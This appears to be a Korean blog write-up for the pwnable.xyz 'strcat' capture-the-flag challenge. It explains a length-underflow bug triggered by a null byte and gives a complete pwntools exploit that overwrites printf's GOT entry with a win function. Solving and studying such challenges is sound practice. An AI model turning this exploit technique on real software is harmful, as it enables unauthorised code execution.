본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / strcat

main

name에는 128byte 쓰기를 desc는 32byte쓰기가 가능하다

name에 입력을 할 때 마다 128를 최대치로 쪼개서 입력을 받을 수도 있다

fsb가 터지기는하는데 건들 것이 없다

 

flag

readline함수를 통해 데이터를 입력 받고 strlen으로 길이 구해서 -1해준 값을 반환해 maxlen으로부터 빼게 된다

널 바이트 넣어서 readline의 반환 값이 -1이 되게도록하면 maxlen -= -1이 되서 maxlen을 증가 시킬 수 있다

이후에 desc를 got주소로 변조해서 got주소에 win함수 넣어주면 된다

 

from pwn import *

p = remote("svc.pwnable.xyz", 30013)
#p = process("./strcat")

printf_got = 0x602040
win = 0x40094c
#gdb.attach(p)

def concat(data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Name: ")
    p.sendline(data)

def edit_desc(data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Desc: ")
    p.sendline(data)

payload = b"\x00"
p.recvuntil(b"Name: ")
p.sendline(payload)
p.recvuntil(b"Desc: ")
payload = b"A" * 31
p.sendline(payload)


for i in range(16):
    concat(b"\x00")


payload = b"A" * 128
payload += b"\x40\x20\x60"
concat(payload)

edit_desc(p64(win))

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / UAF  (0) 2022.05.19
pwnable.xyz / iape  (0) 2022.05.19
pwnable.xyz / J-U-M-P  (0) 2022.05.15
pwnable.xyz / sus  (0) 2022.05.14
pwnable.xyz / fspoo  (0) 2022.05.13